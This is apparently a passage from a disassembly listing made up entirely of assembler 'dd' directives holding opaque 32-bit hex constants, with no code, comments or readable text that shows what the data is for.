		dd 0A8DA2829h, 0F96E3C90h, 2BF7E203h, 2139888Ch, 6A80818Bh
		dd 672DE548h, 0F1B65185h, 6EAC40F9h, 2BB2B193h,	0FB572800h
		dd 0B3997668h, 7BBDF05Bh, 1F70C834h, 1423BCBDh,	3C0826CBh
		dd 0EB41124h, 0AD761E7Bh, 654C0573h, 0EE74C142h, 327983BBh
		dd 8D2497Dh, 35AA3BF8h,	500FC13h, 28E5A876h, 9899C0E7h
		dd 50C9E2AAh, 7EFBC407h, 49102F7Bh, 4C65DBACh, 713ED8h
		dd 33F0809Dh, 6CF97331h, 0EB0268DFh, 833778DEh,	806AB3DCh
		dd 86833Fh, 0DC23728Ch,	28C42EBFh, 0ADC1901Ch, 0B0D0E380h
		dd 0C612414h, 23C73B9Ch, 6000D6D1h, 293ED7D1h, 177D6D7Bh
		dd 0B3A554h, 0BBD98A3Eh, 0B600A234h, 0B7D419F6h, 0BD8623h
		dd 0AACB2273h, 36C9583Eh, 5C002092h, 0B37E5F27h, 502218h
		dd 0DF06E13Bh, 9EC1302h, 7D3E961Fh, 1D903614h, 0B20023D8h
		dd 4B2160B0h, 67300493h, 0E033C8C7h, 0BB00FE14h, 76DA9DD5h
		dd 0B149606h, 7F7EE321h, 3547A280h, 0C52A31F0h,	8C3EB4A6h
		dd 30D9E06Ah, 4BC71AC9h, 4924C059h, 0B600487Dh,	32362FE4h
		dd 0CCC2AA3h, 0A8CB82ABh, 0A100BF41h, 3F8C79B4h, 8458Dh
		dd 29ADE269h, 7AF66BFCh, 0FAC8DE1Dh, 4A4041DFh,	0D28A4BA1h
		dd 0E765007Ch, 4E9E5C90h, 0E61472D6h, 0CE3CB9h,	0C4481CA0h
		dd 747554D0h, 4A4B075Dh, 0E0ECF402h, 316784DDh,	87CDF33h
		dd 1B21006Bh, 2E5FED4Ch, 4402CF50h, 75465992h, 0F6232060h
		dd 0CD3A8564h, 0D4F0CFC8h, 75B00622h, 704B838Bh, 81749B21h
		dd 905ED49h, 40A9187Ch,	0A10022D1h, 0FB6CA5D2h,	24BE60h
		dd 0C7D592E7h, 47724EBBh, 4D73BC00h, 0FA4BDE62h, 38CF6FE8h
		dd 6E8C300Fh, 0D10C06A8h, 807275Dh, 9021C08Ch, 33A0719Bh
		dd 0CC19601Dh, 515BE1C0h, 11CEC35h, 8B465859h, 61A357DEh
		dd 62B181C4h, 6180CF3Dh, 88432082h, 3E00DB6Fh, 6CE84A19h
		dd 0F890318Bh, 6E71048Ch, 62764FCCh, 997A208Dh,	0CF074071h
		dd 4D42CB4Fh, 123C2D10h, 0C35E011Ah, 39BB96D0h,	0D9A44088h
		dd 800084E8h, 926DB325h, 1F4FB9F6h, 472F3406h, 24DA9AD8h
		dd 0EBF8C02Eh, 0AB00FBDDh, 5C218B65h, 1C20C8h, 56ADEE17h
		dd 78B20591h, 0E470581Fh, 6CEBCFh, 44473153h, 0EE4300D2h
		dd 522511CEh, 50E5C60h,	0FF93E9h, 432B9BBEh, 8FE491h, 6646A6BBh
		dd 0E02C809h, 8A245700h, 5FD1283h, 0F511E98h, 0AE3C57A9h
		dd 4B193A01h, 0EBE88FC9h, 0D96606D3h, 39F8FAA7h, 6DBFCE1Fh
		dd 72AB1B00h, 5B919F1h,	0B2B5A2A4h, 86EB0028h, 0D52FC3BFh
		dd 0F38A2A00h, 78445846h, 0A40C3F6h, 73E35A3Dh,	7CB137C0h
		dd 0C4CE9526h, 5B334A07h, 5C52190h, 0D9800503h,	0C15FE7F4h
		dd 0E32FD652h, 295F8B0h, 1729DF00h, 7BA42038h, 0A38F1497h
		dd 42030C83h, 0F17F1A09h, 2F462890h, 0DA8DF900h, 5D6358EFh
		dd 237961h, 6C03595Fh, 824D06DFh, 8B52BC00h, 94987601h
		dd 4473285Ah, 0B6400A6h, 20758166h, 0B40096D2h,	0F783DD25h
		dd 0E7D0D23h, 0CF572DC4h, 7D04682Ah, 8A3DCCC1h,	0C6B41083h
		dd 97F856DFh, 0B600FFBEh, 8B7EA5E6h, 2E4C68BCh,	0E9AC9h
		dd 62604BB4h, 0E1329752h, 20922902h, 1FFD58CBh,	0A1294B00h
		dd 21A9AE52h, 0FBC3008Eh, 0FAA2614Dh, 8700E6C9h, 0EDC53DF2h
		dd 3945D0BBh, 0E8033E63h, 4DB84442h, 0FE47C690h, 0AA5E700h
		dd 0B95BA19h, 932800D6h, 8D9FCA43h, 257CACA2h, 5EEBBB00h
		dd 0C487C388h, 0ABC01CD9h, 0E83AC0FCh, 4D0F02AEh, 3FF53400h
		dd 0EF9F9A97h, 0E1DA004Ah, 0AB2DE033h, 0A100D918h, 0A42881F4h
		dd 63234530h, 0FA8D8071h, 98D605A0h, 69139F00h,	0B9A16459h
		dd 0D5BF26FDh, 86FA00FCh, 146BBB85h, 0B40ADF00h, 6A57CBCh
		dd 0EAC5FC73h, 816C0057h, 0F3F4D436h, 84701ED7h, 9754A000h
		dd 86F63119h, 0A6F44Ch,	0E55004C8h, 9C931FFEh, 0EA54AA00h
		dd 1E1242D2h, 217A00EEh, 43361659h, 117ACD3Fh, 93C658h
		dd 0CE69631Ch, 496B40h,	76E668C8h, 4BD7E4FDh, 0E80F0275h
		dd 205ECC9Ah, 47C246BCh, 35A05D2h, 80D68488h, 0DD4FE251h
		dd 66A5D412h, 61AF1040h, 9214E4h, 0D187E733h, 5FF8F4E0h
		dd 0E27EA701h, 6A7C6F70h, 0DF925480h, 98F5884Bh, 2A69E800h
		dd 952B16CAh, 0FB300345h, 569E0941h, 0C08B5820h, 0DF5A588h
		dd 9F00FD7Ah, 9022F05Ch, 11FB277h, 0B4DBDCF9h, 40C9DF6Fh
		dd 7997A424h, 5A2180F7h, 185C27DEh, 46C8186Eh, 0C31A19FDh
		dd 5EE9160Eh, 67702EB0h, 7CE04732h, 72011h, 0F6259E1Eh
		dd 90CEE8E9h, 6AE1E307h, 7120DD3Eh, 2535E34h, 8628DECCh
		dd 2C4004DCh, 0BAE42318h, 4A982000h, 8C088ECAh,	4F81012Fh
		dd 0AA898786h, 10D6FB5Dh, 0B95F7700h, 0E9C2F3E2h, 7C363B79h
		dd 8300B4C8h, 0DF58509Dh, 0B1C1A213h, 0E2BCF2FDh, 1F469E8h
		dd 0BB287B11h, 0E506AC4Dh, 5031D13Bh, 73A8A1C0h, 0D46FC700h
		dd 0CEBB82F7h, 0A00D01DDh, 0E2834295h, 52880FEh, 9C7C6D30h
		dd 0BF731290h, 96084F51h, 0B2C91EE3h, 617D04C8h, 2906900h
		dd 38D2E60Ah, 153500E1h, 4C32C067h, 0C600ACADh,	0E88B16DBh
		dd 0EECD78D5h, 9BFB0E04h, 0F4216BCAh, 0C432D4CBh, 6A48FE0Dh
		dd 9D34001Ch, 0B6FBEAE0h, 4EC109C3h, 181BAD46h,	3725BE88h
		dd 0C740C1C0h, 0DB7AEAh, 0C1FD38B2h, 8536E427h,	0FA054B0Eh
		dd 667BE0BEh, 2FCD84h, 39DFA107h, 0C534A2EBh, 0B024DCE0h
		dd 1492582Bh, 0F29E7020h, 1C4528F5h, 0BF706B0h,	8072FF12h
		dd 65A19C00h, 2ED97BEDh, 99696036h, 0E92A3AD8h,	0F8881363h
		dd 0BC19018Dh, 969217D1h, 0B0D85067h, 4C93596Dh, 0EC867028h
		dd 0D1BE44h, 773579C6h,	0C191B461h, 0A7CA3100h,	6924DB58h
		dd 0AB190F81h, 0B0002329h, 6FE44D59h, 5B9C5100h, 3FD593D4h
		dd 0BCC90043h, 0E7A5F6E6h, 7B01E232h, 0BDB7F4F3h, 57DCEAFAh
		dd 7180A86Fh, 0A6DD8061h, 2760D091h, 0AACF51Ch,	8F8BC237h
		dd 79E287C0h, 9121F020h, 34093E70h, 2020B8Ah, 145776D8h
		dd 0ECB5EB00h, 9310B622h, 3C984971h, 39D85380h,	80A01EA9h
		dd 2B06EC1Bh, 773EF864h, 4DFE0271h, 4CAEAD47h, 9EE9F080h
		dd 2E31D721h, 0D8EDB1C0h, 1F9785DCh, 5B5567CFh,	9DD9884Ch
		dd 4BCC5CFCh, 0C4A2E800h, 6AD78FDAh, 0E7CE304Eh, 0F80F1D68h
		dd 79753300h
		dd 2613309Ah, 0B6E1003Eh, 38E799F4h, 0B39C7D2h,	0B18E80B7h
		dd 4FDEBF10h, 9A9D0E46h, 0D7E9DB65h, 9067031h, 14C645E8h
		dd 3840389Fh, 0B9730D00h, 16A35FD4h, 1E02A1EEh,	5808832Ah
		dd 22846E0Eh, 0A74D5703h, 0E0648168h, 0E181A538h, 437D052Dh
		dd 9B18D483h, 5D4D19FCh, 0E0F4C04h, 25EDA3F4h, 0B840F747h
		dd 896A61A9h, 7A9B305Bh, 1877CB28h, 1E810909h, 365830E0h
		dd 0D6CF01BDh, 5F25D60h, 54146440h, 0F4505924h,	0C9E4F000h
		dd 61F69A78h, 47627935h, 993EC15h, 0DD68E8A8h, 86C04400h
		dd 7149644Ah, 7E97000Fh, 0FB99D9B7h, 8005B40h, 0BEF5C9C8h
		dd 0F36FAC4h, 37B8FF1Eh, 0A8F0FD20h, 0BF075122h, 0FAB9818Bh
		dd 60A7C0E2h, 7F562FD0h, 9AA60182h, 57FBD537h, 9143E452h
		dd 8600FE75h, 76045C63h, 28407Dh, 0E6442388h, 216EE2DDh
		dd 79B85D00h, 3403B441h, 379017A1h, 887C00C6h, 0B212262Bh
		dd 0CFC3226h, 0CCBA5780h, 2AD88197h, 1CC039E5h,	9C68748Ch
		dd 0AFE9C0C5h, 28FBF4C3h, 5F418E00h, 130736AEh,	0A692009Bh
		dd 0C279BF48h, 0E200F70Dh, 2B0441B9h, 0BB8FE9h,	20D7FE52h
		dd 3C5FA709h, 76880217h, 614E7E0Eh, 11CEE768h, 0B3878C8h
		dd 0DF752A44h, 9E171800h, 66F48450h, 8E0A097Dh,	0C859BAB6h
		dd 0A8846E9Fh, 0C090CEFBh, 399C89Bh, 0AA54D6D9h, 44C02B76h
		dd 964E6A7h, 54DBEB51h,	16F1CB00h, 0A8B2619h, 0B5AB2A06h
		dd 138E399h, 65519D72h,	47CC98E2h, 7D96E080h, 78033DACh
		dd 0C1124901h, 599CA9B4h, 0D28DE8h, 0B6199176h,	88E7BB22h
		dd 7028A158h, 9ADCB700h, 2440B4BCh, 3C70F53Bh, 23A44FEh
		dd 0A0EF6128h, 604CA10Ah, 9002D073h, 4839318Ah,	12E4343Ch
		dd 609E14D6h, 5737D58Ch, 990E9690h, 25258829h, 841E646Eh
		dd 0A000FA24h, 3F849FD9h, 39B10430h, 90269B91h,	56D5E88h
		dd 72CE740Ch, 285169E3h, 8ADA0CDAh, 0CB4440A0h,	8BC00138h
		dd 0A0F5C51Ah, 1A4502Ch, 71E63779h, 413BA700h, 0FC743F59h
		dd 0A61C1C83h, 0B8D0808Ah, 4472DB84h, 999E6A00h, 937FDC1Fh
		dd 2692F21Dh, 68D756h, 0D84290DFh, 51005F88h, 11A57F9Fh
		dd 9498CB6h, 90DCC6F8h,	0F060BCB9h, 1548042Eh, 0EA86006Ch
		dd 0BE45113Dh, 0A1096387h, 4800B179h, 5B72010Fh, 9844F61Eh
		dd 3BA40074h, 793C5E46h, 0C8A04C1Bh, 1989737Fh,	932CC4F6h
		dd 11B88158h, 505A1E72h, 20710AC0h, 3284803h, 0D255BB3Bh
		dd 0B0E0EC6Fh, 8B3E0028h, 315C753Ch, 0CA24B096h, 1E96CC36h
		dd 80CA8427h, 1313583Ah, 6840825Dh, 3A14A590h, 28AC01E1h
		dd 0F86FCE6Eh, 0CB15C89Bh, 0AFDFC71Ch, 0AEAB1E01h, 29C1970Eh
		dd 0F9373880h, 6882117Ah, 2B257300h, 3BC6279Fh,	4B9607E5h
		dd 74AA9E4h, 1799E072h,	0EF0028B8h, 8C55629Ah, 1D66BB80h
		dd 58388D2Dh, 95A31022h, 0E9A2FE00h, 0FA3532BDh, 0D4910017h
		dd 22E37FD2h, 0D005DFACh, 0B6B00125h, 84A6A403h, 2CC9188Ah
		dd 0BFBB8E16h, 3AF8D34Dh, 19ACD4C8h, 96A85854h,	7AFBE00h
		dd 4EDBBF47h, 4C5349ABh, 0E2D7D000h, 5E3FAA0h, 1ABC6F00h
		dd 483883EFh, 913A0009h, 0E7ECAE43h, 5000131Eh,	0A760D85Eh
		dd 1EF63BFh, 35405611h,	0C8E31FE1h, 0E2009EF8h,	10DE0CE4h
		dd 0F1A5ECCh, 9747FB94h, 3F0EF080h, 4904FCF2h, 5A7CAA2Fh
		dd 0A1C00C84h, 1652B3E7h, 40C8033Ah, 8C7CDEA4h,	0FC01040Eh
		dd 0A3868D7Eh, 4AC4BE1Eh, 13380E4Fh, 0D080D55Dh, 0B7CF0742h
		dd 61063413h, 55ADEC00h, 171D8796h, 0B8FF6D1h, 0F4300D90h
		dd 8A00CF8Eh, 0A6E774F1h, 0EAD25370h, 47F617h, 0F2101CFEh
		dd 1AB4D916h, 5E0274F2h, 44A8653Eh, 11D882DCh, 0A7B640ECh
		dd 0BA1E00C1h, 40AA3392h, 9990DCA1h, 77A36400h,	98FBC624h
		dd 0CC73A2h, 0C8697F76h, 0DC4A8CEFh, 0F8005C74h, 83CB1AB9h
		dd 31BBD4h, 4F384D8Fh, 0BD3F045Bh, 7D57C03Fh, 0DC5C4870h
		dd 0BACB1D3Bh, 0F9A9B400h, 1688C6F6h, 73C5D1h, 0FF4D8B77h
		dd 380E7A03h, 92FAB42Dh, 6310000h, 0E972E77h, 248A563Bh
		dd 68F1D520h, 7B00165Ah, 62203E28h, 10AA13h, 575D7767h
		dd 0B6B51E74h, 25BA1900h, 6A8E5237h, 6BCA13D4h,	0B56080EBh
		dd 703810A7h, 59B303BBh, 38CF71h, 0E633F742h, 90C8CD7Ah
		dd 48CBDC31h, 0A8ECE81Dh, 5981037Eh, 0E7BF8CCEh, 73C0ADE0h
		dd 37976C00h, 3821C3C2h, 0E0601ECBh, 0DF2B40BCh, 8CB0B877h
		dd 7B070AFCh, 421FEF9Dh, 7EB61E50h, 1E2A7E5Ah, 5C8002F4h
		dd 34CC40C5h, 0E58923ABh, 6928F5E8h, 0D800E433h, 0CD1AF23Ah
		dd 50A40E5Bh, 907F8B35h, 3EA20E37h, 7D60D29Ah, 0DD1BCF81h
		dd 0E5301C98h, 3FF8700Dh, 980A7FF5h, 434000B8h,	675BCCEEh
		dd 5F007F5Eh, 600F9033h, 73DE456h, 0F62C54CEh, 0C09CE79Eh
		dd 0BB619841h, 0F75EF501h, 0CB123A8Fh, 8CD45831h, 0BA7E0795h
		dd 0E1D3F96Ch, 0FC0B9080h, 890026F4h, 637810C2h, 0D6A8F6h
		dd 50B3B217h, 0BB35D0DBh, 3C6AEB07h, 0E03EC439h, 1DD6529Fh
		dd 0DB8A0B3h, 617E07E3h, 35DFB7F1h, 0D230D1AFh,	0E0974729h
		dd 7C425E62h, 602E65E2h, 1900244Dh, 0C8335730h,	0E3930707h
		dd 0E9B6EF27h, 3A4085h,	0C264313Ch, 0E90FB43Eh,	4068E1B2h
		dd 0A1CD0AC5h, 927E0239h, 28300190h, 0A68D74E8h, 181138h
		dd 84EDAB20h, 0C0E9F9h,	81786D6Ah, 9EA18E42h, 0D55F0B00h
		dd 4913835Bh, 9986018Ch, 8021B96h, 0F0DDE9E0h, 0B82EF631h
		dd 0EC0063F2h, 7F504123h, 67B70F4Fh, 3C2149E0h,	7086C288h
		dd 0A80FCFFCh, 0AF0F8F2Bh, 704E6CFCh, 0A31D0E83h, 0C0609F65h
		dd 30DEA00Ah, 70CD5900h, 4128A263h, 75290064h, 0F9BA12FEh
		dd 5000B0C9h, 0AF763C2Bh, 2A16031Fh, 380CCDCh, 89BABC67h
		dd 1AB0F4F3h, 33009D24h, 23DC33Ch, 0B8E18272h, 0A3043F28h
		dd 5E80A4BBh, 0F41CED23h, 5A00BA17h, 953DAE76h,	38BC324Fh
		dd 0F281377Bh, 7A7C6C4Dh, 0C29EC074h, 1EDF2601h, 43843318h
		dd 650070h, 7E0EDC13h, 51CABCA4h, 7A62ED04h, 81683Ch, 73E4E49Ah
		dd 3C2BF086h, 64867B3Bh, 9276C4BEh, 84657501h, 0B76EFD19h
		dd 0ADB530h, 0A5AEECE2h, 0C1C53D4Ah, 2F716600h,	0C08648A0h
		dd 423B1E31h, 0C77780CEh, 2665AE53h, 593D4700h,	0A27B9830h
		dd 1B08092Ch, 0BC004E2Fh, 0E25BF5FAh, 0C0D5DB00h, 0D33C6DA6h
		dd 69007EFh, 0F0991A96h, 8EFFD8BCh, 5A427801h, 29F47CA8h
		dd 0B0D377ECh, 1391009Ch, 0AEE3E1Ah, 0A872DF2Ch, 9749A8BAh
		dd 0CE7D008Ch, 203958DBh, 0B019001Ch, 0AAE77937h, 770BC497h
		dd 48D5065Bh, 765DEBC4h, 25F07Bh, 8266F9E1h, 4F074E17h
		dd 469ED800h, 0AA14B713h, 32C00B8Ah, 7C60C39Ah,	0D6E2694Eh
		dd 5D03DE00h, 0BF62EB33h, 0F88B658h, 758EE6ACh,	0A5632D81h
		dd 0DA198053h, 3BC3E3B5h, 0C59B00E2h, 0BA71EB4Bh, 8F009C76h
		dd 651DAC6Eh, 394E33B6h, 540069A3h, 0EDA04AAh, 942A20E4h
		dd 0F90030B7h, 7E64B9ECh, 0C0B9133h, 0E40CDD92h, 6228CFA0h
		dd 0A9C63C8Dh, 538B22Eh, 0C722AC3Ah, 69CCD264h,	2CE14A4h
		dd 400251CCh, 19C508F8h, 0A0998EF5h, 0A565E05Ah, 81D42Dh
		dd 9DD1E944h, 2E99DECEh, 4A70377h, 5398CA8Ah, 8CA234Ch
		dd 8C87D4E3h, 96E0A772h, 3019FEAh, 7A8FE052h, 0B90088B4h
		dd 6F767017h, 757D9DFBh, 65230062h, 0B1449952h,	29C38DB3h
		dd 0EF9D7C60h, 0F998BF40h, 0EBB806h, 511D3EAFh,	88112078h
		dd 0CE07B879h
		dd 13C919D4h, 8C012240h, 42DC0015h, 0CC40ACC1h,	0E22D59BFh
		dd 0C858A338h, 88B0EB5Ch, 185F50FDh, 0E1CBD77Ah, 0A400A7C4h
		dd 0D4400FF7h, 60183F54h, 2ECC394Ah, 200F533h, 19A7283Dh
		dd 1D07C46Bh, 0FA55F92Dh, 937DA600h, 178C5FAEh,	0B0509F8h
		dd 78D37BE4h, 63E29043h, 30517C42h, 0AF79CCDDh,	3E005F43h
		dd 97564B53h, 0ECB037F5h, 0DAD10022h, 9164C44Ah, 191654F4h
		dd 0CA165CBCh, 96DFD0D0h, 0C1C700B3h, 7A0CD507h, 8601166Bh
		dd 3794325Eh, 34409CB5h, 0C65F8AB6h, 41F5C308h,	0A0020EF8h
		dd 0DB6EF3A1h, 2D2C800Ch, 1890E0F7h, 0C108D493h, 7700B9BFh
		dd 0DE5AA6B0h, 0CEAAC56h, 0BD2DAD6Ah, 9AFA6F39h, 740B9901h
		dd 2762CB33h, 216108BBh, 0EC9A0221h, 0DA24EEA0h, 0FE093CAFh
		dd 22380EC2h, 81CB6D50h, 0A76AE9ECh, 8102C48h, 240BAF9Ah
		dd 0F4074C4h, 8ACC9A3Ah, 0E8000474h, 0AD4846E1h, 2B4830Dh
		dd 0CF7EDD5Fh, 0C0906AB9h, 9A00626Ch, 64657DC1h, 79485E80h
		dd 512C00C7h, 6EDA0AAAh, 4362E639h, 0C130F38h, 28CA698h
		dd 0BA29ACBh, 5B1830CCh, 1320806Ah, 0F12D9A03h,	0C0FDD1A9h
		dd 1B660BEh, 0CA6ECD45h, 2CEBA35Bh, 0EE5E1E6Ch,	2BA23A40h
		dd 7C461084h, 0D8830282h, 59A08AABh, 0CCA1CCFAh, 9918FA02h
		dd 8A0511A7h, 80C78872h, 54A77181h, 0D33FDC1Ah,	49B75040h
		dd 0A203260Fh, 0F5AE59h, 6BC71756h, 0D9D87469h,	18776870h
		dd 0FAA7089Ch, 8E709A8Ah, 0C4A70074h, 42882BD3h, 94A8E0B6h
		dd 8300E97Bh, 207AECB9h, 0F2DD55h, 2AC72EEAh, 0B4F65254h
		dd 5F103460h, 93B697h, 49C97267h, 6A5AF345h, 56CCA200h
		dd 0E0E4644Eh, 0C32500BFh, 0EDC91106h, 0CACF169Dh, 0C47640FEh
		dd 0FAD4E089h, 29A30F71h, 810032B9h, 3FA61DD5h,	3F1512Eh
		dd 0AC078C01h, 3DC0AD8Ah, 15D900AFh, 500CFA06h,	0B3523848h
		dd 93A0FE04h, 0C0006644h, 8F51B471h, 0C0CDE695h, 47C61120h
		dd 31C0B670h, 0D78CAFD3h, 6C390631h, 8813015h, 20C57E30h
		dd 8CC87Ah, 0D921ED9Bh,	543AA0ABh, 0DD346E0Ch, 3E8B6080h
		dd 84018F40h, 892C7CEh,	18888660h, 190391Ch, 0DBD530BAh
		dd 71D76D93h, 4CD8F461h, 62199F07h, 0FEC0808Fh,	0F12EA6h
		dd 2AED6EB2h, 96909203h, 0A8A9CA66h, 0FDB300C1h, 15C60285h
		dd 6101CE55h, 60C48F67h, 37D07FA1h, 0DF29C15Ch,	800F76BDh
		dd 96F62F41h, 1C77724Dh, 0C294217Dh, 0CA3ED65Fh, 0C8394A60h
		dd 5127C418h, 15B3AA68h, 0A811599Eh, 0C62580Fh,	0E2279141h
		dd 0E161604Ch, 0B0603CE8h, 0B0AEE20h, 75C5FADEh, 913200CEh
		dd 0E4749F95h, 94A07C59h, 216F25DFh, 99C70C31h,	795A0EDCh
		dd 0AC60B2A0h, 6A3E1365h, 53AA021Fh, 0A3DB80B9h, 4C8C3FF3h
		dd 0A6B803D0h, 15478FCCh, 4D12410Ah, 37BEFC4Ah,	2C0B190h
		dd 1891AD1Fh, 80694D3Ch, 5300CDB0h, 0FAFCEF3Dh,	601FD062h
		dd 991A3174h, 252ECA03h, 880257D3h, 0A0A52860h,	2CB2DAE0h
		dd 1FCF26Ch, 8F7FA241h,	40D91236h, 1949A3BCh, 0C8E098E1h
		dd 5295C751h, 0CA28C4C1h, 7D4B2834h, 0E318069Ch, 191358EDh
		dd 0BA8D680Ch, 92E0F2B8h, 87E620h, 7302EBA8h, 67D0AD33h
		dd 0BFA11A03h, 8807509Ah, 1499E1B3h, 0F4705F54h, 183E0E80h
		dd 41013DC2h, 29E3E2F3h, 4AFA4A31h, 932CA16Ch, 0D213C59Bh
		dd 69B17116h, 20FFC00Fh, 979CCF32h, 0B26B0027h,	60BB096Fh
		dd 0AE1CC21Bh, 0DB404081h, 90BDCBA9h, 242D7DC3h, 858CA58h
		dd 64A0CF4Dh, 8DB2510Fh, 673B20D1h, 0F0E53CFFh,	0C60C0EEBh
		dd 0CFE1A703h, 4008E845h, 0C854FB88h, 0B477E403h, 0B17149h
		dd 0A36906D9h, 351809DEh, 36F2E803h, 0F0A404C0h, 0A1C755C9h
		dd 844871DCh, 0D761009Fh, 37989307h, 0A000540Eh, 272B91F2h
		dd 15F35DEFh, 0C05F06AFh, 43EC4101h, 202082DDh,	99002204h
		dd 21344C42h, 30D7F56Dh, 0AD1D591h, 83179A55h, 3A074D09h
		dd 0D040BFD1h, 911175Fh, 77E35482h, 5B07C18h, 97692260h
		dd 0E03484h, 0CED8211Ch, 0C76566Ch, 9B906B72h, 0BF6DEC00h
		dd 23468F1Dh, 3D92062Eh, 482B538Ch, 90693A01h, 0B3F05850h
		dd 1FD04CFAh, 0C857013Eh, 2466E187h, 6D20221h, 8CC6620Bh
		dd 69189464h, 31213705h, 4CB00A2h, 0B79A7426h, 633CCF09h
		dd 0FA7180FDh, 4E311FBDh, 0A8E706E5h, 39C605CCh, 0DF20780Fh
		dd 8C286082h, 0CEE11Ah,	994D7B19h, 379AAE35h, 0A0069499h
		dd 392C06h, 0F80B42F3h,	635129D8h, 693A7278h, 2CEA920Ch
		dd 1F7DBC30h, 0E3D80C5Eh, 0EB9CC91h, 0C336EB00h, 90EE9F0Ah
		dd 317D602Dh, 0A95C9B30h, 4E00ABF8h, 0B4C6C82Bh, 4CF7F6BAh
		dd 54508809h, 0E17898AFh, 0C123CEE0h, 0B0098891h, 1AE8202Dh
		dd 284B4Dh, 0EC963AC3h,	1419458h, 0D4D024CAh, 928928CCh
		dd 0EC202150h, 25460C7h, 0B258E68Dh, 0B4490F26h, 2EB030EEh
		dd 0C5471E02h, 0A1AF4B8Fh, 352D93C0h, 700CB980h, 0A2C60645h
		dd 31D45500h, 0A3F3C5ABh, 0A0BB00FFh, 11931BD9h, 3D4CC6F1h
		dd 25B186F0h, 9908291h,	61841084h, 6430197h, 37CBD7E4h
		dd 0E119B460h, 998914C2h, 1460D588h, 565F88AEh,	49E83300h
		dd 0EE51D66Bh, 28C36763h, 0CBE0A0A4h, 0B9D41956h, 8FF4C020h
		dd 2C7527h, 5BE4C50Eh, 3671B154h, 4DADB500h, 0F57C0210h
		dd 0CCAB1E34h, 73D84ACh, 190C81D1h, 2518078h, 0FE86D376h
		dd 0C6912431h, 5E442674h, 0D3002046h, 6772B6E4h, 39243C96h
		dd 0F980C4C2h, 0E96A939Eh, 8650CF27h, 4C1803C2h, 0E16890A0h
		dd 2654984Fh, 9CCCDACh,	8A11Ah,	0A4A14E84h, 0FE09346h
		dd 429C9F0Ah, 0A204B9FAh, 58C84B90h, 10F893h, 402B01BEh
		dd 0CED04D1Eh, 0B7381248h, 448C23C5h, 0BE48CE58h, 120FCFC8h
		dd 88B8345Fh, 5BE68714h, 907C3076h, 4B14AC5Eh, 80CC18F5h
		dd 5C6186ADh, 0AF471D0Fh, 46200E2Eh, 0CE855A01h, 0FF50C4CBh
		dd 0DC0190FAh, 0AB40B0ACh, 0B4589DB3h, 0B20C0865h, 5AC46F91h
		dd 0C8DD540h, 0E3013A2Bh, 6598AAFDh, 0A4504919h, 291B8F6h
		dd 0B4722974h, 0D0E60AF7h, 717E3609h, 4D2480CCh, 925437C7h
		dd 67920068h, 0CFE11139h, 90B23A4Eh, 0CE374100h, 49B35BEEh
		dd 0FD1600ADh, 92B40DAFh, 6B2C13B8h, 0A0811052h, 0DBFA4EC0h
		dd 229C3983h, 2E362A6h,	3ECF06C0h, 7749E961h, 0C2438C9h
		dd 79A40A9Ah, 41189627h, 606C3A8Ch, 1530D031h, 784F912h
		dd 0F8CD0010h, 0FC0976B4h, 200BE7Dh, 0C32A6CABh, 0E2550F8Ah
		dd 17460034h, 0AD24B4Ah, 6648B2FBh, 0FA8E035Ah,	0A99278BCh
		dd 8C3597ECh, 76EEB888h, 8545099Eh, 9C080853h, 0CE8E80B0h
		dd 0CFFCD5B7h, 23180099h, 982FF810h, 62EA06ACh,	21C2AB88h
		dd 5301F074h, 300C375Bh, 993D1B4h, 10084009h, 0E29752F0h
		dd 0F3250601h, 0B8BE9FDCh, 0BBA47189h, 85523818h, 3ADDD101h
		dd 3E23DFD0h, 47E3199Dh, 0B04BD5AFh, 9332205Fh,	0AA49B604h
		dd 289887B3h, 2001045Bh, 32E17F91h, 3EF2021h, 6B00B20Bh
		dd 23D6FED3h, 913A393h,	1DB32AD9h, 10666C20h, 91001753h
		dd 0B74831Bh, 0E07AA79Dh, 35333803h, 56310702h,	34632570h
		dd 73EC4598h, 4CFAACA0h, 182F4931h, 32AE98h, 0D4000A23h
		dd 0B826AF4Fh, 304486D7h, 4FFE0037h, 81C5A591h,	9517B831h
		dd 0E434DF98h, 43D930A0h, 8BA50171h, 6EE931FDh,	7421CE0Dh
		dd 0AB708C87h, 79030277h, 968FBFC2h, 122664E4h,	0BB40ECD0h
		dd 0DF8BA1A2h, 0D97E8470h
		dd 0BFA48036h, 98928845h, 99C6F805h, 88C4CB25h,	0C09BC408h
		dd 91B40157h, 91ED5F21h, 0D33E5Bh, 1172D80Ch, 54D30F2h
		dd 959FE5E7h, 5F480EC6h, 0BE2A0191h, 462D8FEh, 0A5BFF883h
		dd 881EE061h, 2CF052Eh,	4AB761F1h, 3880DE17h, 0B1180BF6h
		dd 763F73C8h, 0BE8D80E7h, 5E4F031Ch, 0AB7E0116h, 6867B189h
		dd 35B8CB9Dh, 2D01ECA7h, 369A12FDh, 61F4E5A0h, 4E691DD9h
		dd 0F00DC0E0h, 0A60641EEh, 0EA370200h, 3BC0ECAh, 0CFA0037Bh
		dd 380C97DAh, 60D899A1h, 1006A71h, 6455FC92h, 3F52BFDh
		dd 9844A069h, 7CD9FB63h, 0FE4730D9h, 0EA00D374h, 37DCDF7Bh
		dd 30BC70C7h, 7C20620Eh, 0FC0C61FFh, 40515D2Bh,	2060787Dh
		dd 0B8077B14h, 45F2C72Ah, 0C3A803CFh, 0EA180665h, 58715908h
		dd 232A18CEh, 0C06E76EBh, 60227212h, 0B8BF296Ah, 0D6006147h
		dd 8A380BBh, 0E8FAE6A2h, 0C0AD0010h, 81FB4BAFh,	1975E579h
		dd 1E8F4501h, 0CB488C78h, 63646F0h, 0E30EC774h,	0AF33717Eh
		dd 0F8679042h, 1872AEh,	0B3DC1BDFh, 7BE69548h, 520084E4h
		dd 0D3E9A21Ah, 30ABEB25h, 47417CC6h, 0DE0322D2h, 0DD0F0684h
		dd 0F60918FEh, 0FB2720EBh, 0FC593C00h, 5D5E9DD6h, 6DCA18BAh
		dd 76A64078h, 0E927400h, 50D91F32h, 0B6450064h,	0F3F7EB2Fh
		dd 3F00D717h, 69A3104Fh, 0BF22BCh, 0A0438DFAh, 7CE951F5h
		dd 0EAC0B954h, 0E3583Bh, 82D6C35Ah, 0A8DAE239h,	0D34BD8h
		dd 0A72C092Ah, 0B1246230h, 8A67C4A8h, 0B31CDA07h, 7C90BE2Fh
		dd 0FC72A617h, 521C08Dh, 8AFE1DACh, 0FCEEF300h,	943C46E1h
		dd 0E71909C6h, 100023A9h, 0DBE2B002h, 0C43EA600h, 553667D6h
		dd 0BE223129h, 82271504h, 79C38650h, 84104066h,	7569483Ah
